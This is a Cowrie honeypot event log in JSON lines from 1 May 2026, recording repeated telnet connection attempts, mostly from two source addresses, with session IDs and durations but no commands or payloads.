{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58686,"dst_ip":"159.203.135.109","dst_port":23,"session":"5610830f1c0b","protocol":"telnet","message":"New connection: 51.161.172.108:58686 (159.203.135.109:23) [session: 5610830f1c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:04.579929Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":47964,"dst_ip":"10.17.0.5","dst_port":23,"session":"c43a2893b859","protocol":"telnet","message":"New connection: 45.10.154.244:47964 (10.17.0.5:23) [session: c43a2893b859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:04.590237Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58694,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba59d42d0d53","protocol":"telnet","message":"New connection: 51.161.172.108:58694 (159.203.135.109:23) [session: ba59d42d0d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:04.789509Z"}
{"eventid":"cowrie.session.closed","duration":30.9979145526886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:05.103719Z","src_ip":"45.10.154.244","session":"f63966f01b9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58708,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6c370dbdf53","protocol":"telnet","message":"New connection: 51.161.172.108:58708 (159.203.135.109:23) [session: a6c370dbdf53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:05.241907Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58710,"dst_ip":"159.203.135.109","dst_port":23,"session":"d30d3b4c3e22","protocol":"telnet","message":"New connection: 51.161.172.108:58710 (159.203.135.109:23) [session: d30d3b4c3e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:05.390200Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58724,"dst_ip":"159.203.135.109","dst_port":23,"session":"647b399f6e22","protocol":"telnet","message":"New connection: 51.161.172.108:58724 (159.203.135.109:23) [session: 647b399f6e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:05.517980Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58740,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ddec34f5fb8","protocol":"telnet","message":"New connection: 51.161.172.108:58740 (159.203.135.109:23) [session: 1ddec34f5fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:05.600322Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58756,"dst_ip":"159.203.135.109","dst_port":23,"session":"0de3ff1ad38c","protocol":"telnet","message":"New connection: 51.161.172.108:58756 (159.203.135.109:23) [session: 0de3ff1ad38c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:05.897542Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58758,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f71b057af0a","protocol":"telnet","message":"New connection: 51.161.172.108:58758 (159.203.135.109:23) [session: 2f71b057af0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:05.902365Z"}
{"eventid":"cowrie.session.closed","duration":30.666630506515503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:06.080607Z","src_ip":"45.10.154.244","session":"779eba2b47cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.517699480056763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:06.085542Z","src_ip":"45.10.154.244","session":"100b8ee471e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58762,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b187d602ae0","protocol":"telnet","message":"New connection: 51.161.172.108:58762 (159.203.135.109:23) [session: 1b187d602ae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:06.096576Z"}
{"eventid":"cowrie.session.closed","duration":30.987276554107666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:06.441133Z","src_ip":"45.10.154.244","session":"2ed87456c0e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58768,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a92435264d8","protocol":"telnet","message":"New connection: 51.161.172.108:58768 (159.203.135.109:23) [session: 9a92435264d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:06.469661Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58770,"dst_ip":"159.203.135.109","dst_port":23,"session":"f530f920c86a","protocol":"telnet","message":"New connection: 51.161.172.108:58770 (159.203.135.109:23) [session: f530f920c86a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:06.502935Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58776,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd01d23b6941","protocol":"telnet","message":"New connection: 51.161.172.108:58776 (159.203.135.109:23) [session: fd01d23b6941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:06.797160Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":55960,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9705eafddd9","protocol":"telnet","message":"New connection: 45.10.154.244:55960 (10.17.0.5:23) [session: a9705eafddd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:06.829202Z"}
{"eventid":"cowrie.session.closed","duration":30.982327222824097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:06.929384Z","src_ip":"45.10.154.244","session":"b3c0cfc446fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58780,"dst_ip":"159.203.135.109","dst_port":23,"session":"514e52d0bd6c","protocol":"telnet","message":"New connection: 51.161.172.108:58780 (159.203.135.109:23) [session: 514e52d0bd6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:06.954682Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58788,"dst_ip":"159.203.135.109","dst_port":23,"session":"91bf9a1a86a3","protocol":"telnet","message":"New connection: 51.161.172.108:58788 (159.203.135.109:23) [session: 91bf9a1a86a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:06.996100Z"}
{"eventid":"cowrie.session.closed","duration":30.21527886390686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:07.108088Z","src_ip":"45.10.154.244","session":"7976df1ffb18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58790,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea81884f8236","protocol":"telnet","message":"New connection: 51.161.172.108:58790 (159.203.135.109:23) [session: ea81884f8236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:07.113167Z"}
{"eventid":"cowrie.session.closed","duration":31.107744693756104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:07.203889Z","src_ip":"45.10.154.244","session":"f76faa578df5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58798,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0ecfe63e056","protocol":"telnet","message":"New connection: 51.161.172.108:58798 (159.203.135.109:23) [session: f0ecfe63e056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:07.255276Z"}
{"eventid":"cowrie.session.closed","duration":31.38558840751648,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:07.343107Z","src_ip":"45.10.154.244","session":"e48ee2e7b4e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.647559642791748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:07.447572Z","src_ip":"45.10.154.244","session":"9ba0e134f704","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58814,"dst_ip":"159.203.135.109","dst_port":23,"session":"81514e311b89","protocol":"telnet","message":"New connection: 51.161.172.108:58814 (159.203.135.109:23) [session: 81514e311b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:07.613044Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58802,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3b3796158ef","protocol":"telnet","message":"New connection: 51.161.172.108:58802 (159.203.135.109:23) [session: e3b3796158ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:07.626564Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":59306,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c115f6527b1","protocol":"telnet","message":"New connection: 45.10.154.244:59306 (10.17.0.5:23) [session: 5c115f6527b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:07.707092Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"9.8","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:07.879173Z","src_ip":"122.168.114.167","session":"b50a1fec1515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"62.7","message":"Connection lost after 62.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:07.884796Z","src_ip":"122.168.114.167","session":"b50a1fec1515","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":60580,"dst_ip":"10.17.0.5","dst_port":23,"session":"63e3ffbafec3","protocol":"telnet","message":"New connection: 45.10.154.244:60580 (10.17.0.5:23) [session: 63e3ffbafec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:08.039471Z"}
{"eventid":"cowrie.session.closed","duration":30.69727873802185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:08.082313Z","src_ip":"34.69.118.1","session":"ee6c6394d3f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58830,"dst_ip":"159.203.135.109","dst_port":23,"session":"d671604a4762","protocol":"telnet","message":"New connection: 51.161.172.108:58830 (159.203.135.109:23) [session: d671604a4762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:08.165653Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58838,"dst_ip":"159.203.135.109","dst_port":23,"session":"96ddf229e473","protocol":"telnet","message":"New connection: 51.161.172.108:58838 (159.203.135.109:23) [session: 96ddf229e473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:08.199116Z"}
{"eventid":"cowrie.session.closed","duration":31.220316648483276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:08.490405Z","src_ip":"51.161.172.108","session":"9fc0fde9d052","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58846,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb628e28141e","protocol":"telnet","message":"New connection: 51.161.172.108:58846 (159.203.135.109:23) [session: bb628e28141e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:08.527644Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58852,"dst_ip":"159.203.135.109","dst_port":23,"session":"89052a667de6","protocol":"telnet","message":"New connection: 51.161.172.108:58852 (159.203.135.109:23) [session: 89052a667de6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:08.694380Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58860,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f3b65e22488","protocol":"telnet","message":"New connection: 51.161.172.108:58860 (159.203.135.109:23) [session: 9f3b65e22488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:08.819228Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58870,"dst_ip":"159.203.135.109","dst_port":23,"session":"38a519a2ef9b","protocol":"telnet","message":"New connection: 51.161.172.108:58870 (159.203.135.109:23) [session: 38a519a2ef9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:08.919899Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58818,"dst_ip":"159.203.135.109","dst_port":23,"session":"29d5f85d48ca","protocol":"telnet","message":"New connection: 51.161.172.108:58818 (159.203.135.109:23) [session: 29d5f85d48ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:08.941518Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58872,"dst_ip":"159.203.135.109","dst_port":23,"session":"567b3c720635","protocol":"telnet","message":"New connection: 51.161.172.108:58872 (159.203.135.109:23) [session: 567b3c720635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:09.030488Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58880,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb28d63a87af","protocol":"telnet","message":"New connection: 51.161.172.108:58880 (159.203.135.109:23) [session: bb28d63a87af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:09.085813Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58884,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b2c6c75be81","protocol":"telnet","message":"New connection: 51.161.172.108:58884 (159.203.135.109:23) [session: 3b2c6c75be81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:09.214810Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":37842,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b55ac4912d3","protocol":"telnet","message":"New connection: 45.10.154.244:37842 (10.17.0.5:23) [session: 0b55ac4912d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:09.330930Z"}
{"eventid":"cowrie.session.closed","duration":31.099320888519287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:09.379518Z","src_ip":"51.161.172.108","session":"84f4a9fc28d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51502,"dst_ip":"159.203.135.109","dst_port":23,"session":"91d679260f01","protocol":"telnet","message":"New connection: 51.161.172.108:51502 (159.203.135.109:23) [session: 91d679260f01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:09.430382Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51512,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc53f4c7dbcf","protocol":"telnet","message":"New connection: 51.161.172.108:51512 (159.203.135.109:23) [session: bc53f4c7dbcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:09.545043Z"}
{"eventid":"cowrie.session.closed","duration":31.5867657661438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:09.645023Z","src_ip":"51.161.172.108","session":"5ddabbe849a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":35776,"dst_ip":"10.17.0.5","dst_port":23,"session":"99e2ed6c7f65","protocol":"telnet","message":"New connection: 45.10.154.244:35776 (10.17.0.5:23) [session: 99e2ed6c7f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:09.889370Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51522,"dst_ip":"159.203.135.109","dst_port":23,"session":"539e07ab5b1c","protocol":"telnet","message":"New connection: 51.161.172.108:51522 (159.203.135.109:23) [session: 539e07ab5b1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:09.935699Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51538,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a92b41de9aa","protocol":"telnet","message":"New connection: 51.161.172.108:51538 (159.203.135.109:23) [session: 1a92b41de9aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:10.321737Z"}
{"eventid":"cowrie.session.closed","duration":30.937004566192627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:10.642288Z","src_ip":"51.161.172.108","session":"ea4487cfa08e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51554,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6ab7460ff4f","protocol":"telnet","message":"New connection: 51.161.172.108:51554 (159.203.135.109:23) [session: b6ab7460ff4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:10.752422Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":44444,"dst_ip":"10.17.0.5","dst_port":23,"session":"5253e732260d","protocol":"telnet","message":"New connection: 45.10.154.244:44444 (10.17.0.5:23) [session: 5253e732260d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:10.927778Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51580,"dst_ip":"159.203.135.109","dst_port":23,"session":"761da781a999","protocol":"telnet","message":"New connection: 51.161.172.108:51580 (159.203.135.109:23) [session: 761da781a999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:11.087642Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51566,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdba84e6fc11","protocol":"telnet","message":"New connection: 51.161.172.108:51566 (159.203.135.109:23) [session: bdba84e6fc11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:11.151023Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51590,"dst_ip":"159.203.135.109","dst_port":23,"session":"66651a38a403","protocol":"telnet","message":"New connection: 51.161.172.108:51590 (159.203.135.109:23) [session: 66651a38a403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:11.340087Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":46190,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ffb10e40e2d","protocol":"telnet","message":"New connection: 45.10.154.244:46190 (10.17.0.5:23) [session: 8ffb10e40e2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:11.364102Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51532,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d6771c87273","protocol":"telnet","message":"New connection: 51.161.172.108:51532 (159.203.135.109:23) [session: 2d6771c87273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:11.409415Z"}
{"eventid":"cowrie.session.closed","duration":30.978894233703613,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:11.603836Z","src_ip":"45.10.154.244","session":"860c9b830b41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86452317237854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:12.090858Z","src_ip":"45.10.154.244","session":"e820632a6401","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.049374103546143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:12.114590Z","src_ip":"45.10.154.244","session":"57658ac9a1e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51606,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed50788c8261","protocol":"telnet","message":"New connection: 51.161.172.108:51606 (159.203.135.109:23) [session: ed50788c8261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:12.177577Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51604,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f1fa945f274","protocol":"telnet","message":"New connection: 51.161.172.108:51604 (159.203.135.109:23) [session: 1f1fa945f274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:12.187012Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":49974,"dst_ip":"10.17.0.5","dst_port":23,"session":"7628e83a7dff","protocol":"telnet","message":"New connection: 45.10.154.244:49974 (10.17.0.5:23) [session: 7628e83a7dff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:12.306558Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51620,"dst_ip":"159.203.135.109","dst_port":23,"session":"3234f3452216","protocol":"telnet","message":"New connection: 51.161.172.108:51620 (159.203.135.109:23) [session: 3234f3452216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:12.514282Z"}
{"eventid":"cowrie.session.closed","duration":30.777422666549683,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:12.540049Z","src_ip":"51.161.172.108","session":"b008ff75f463","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51632,"dst_ip":"159.203.135.109","dst_port":23,"session":"303461aad763","protocol":"telnet","message":"New connection: 51.161.172.108:51632 (159.203.135.109:23) [session: 303461aad763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:12.651997Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51644,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f9b6795bf50","protocol":"telnet","message":"New connection: 51.161.172.108:51644 (159.203.135.109:23) [session: 7f9b6795bf50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:12.815874Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51664,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc23de819bb0","protocol":"telnet","message":"New connection: 51.161.172.108:51664 (159.203.135.109:23) [session: fc23de819bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:12.941241Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51650,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2af9ab930af","protocol":"telnet","message":"New connection: 51.161.172.108:51650 (159.203.135.109:23) [session: f2af9ab930af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:13.043751Z"}
{"eventid":"cowrie.session.closed","duration":30.66769552230835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:13.313358Z","src_ip":"45.10.154.244","session":"7776e77b6ac6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51672,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9d4c567e99b","protocol":"telnet","message":"New connection: 51.161.172.108:51672 (159.203.135.109:23) [session: b9d4c567e99b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:13.400099Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51688,"dst_ip":"159.203.135.109","dst_port":23,"session":"19bb7885c119","protocol":"telnet","message":"New connection: 51.161.172.108:51688 (159.203.135.109:23) [session: 19bb7885c119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:13.406825Z"}
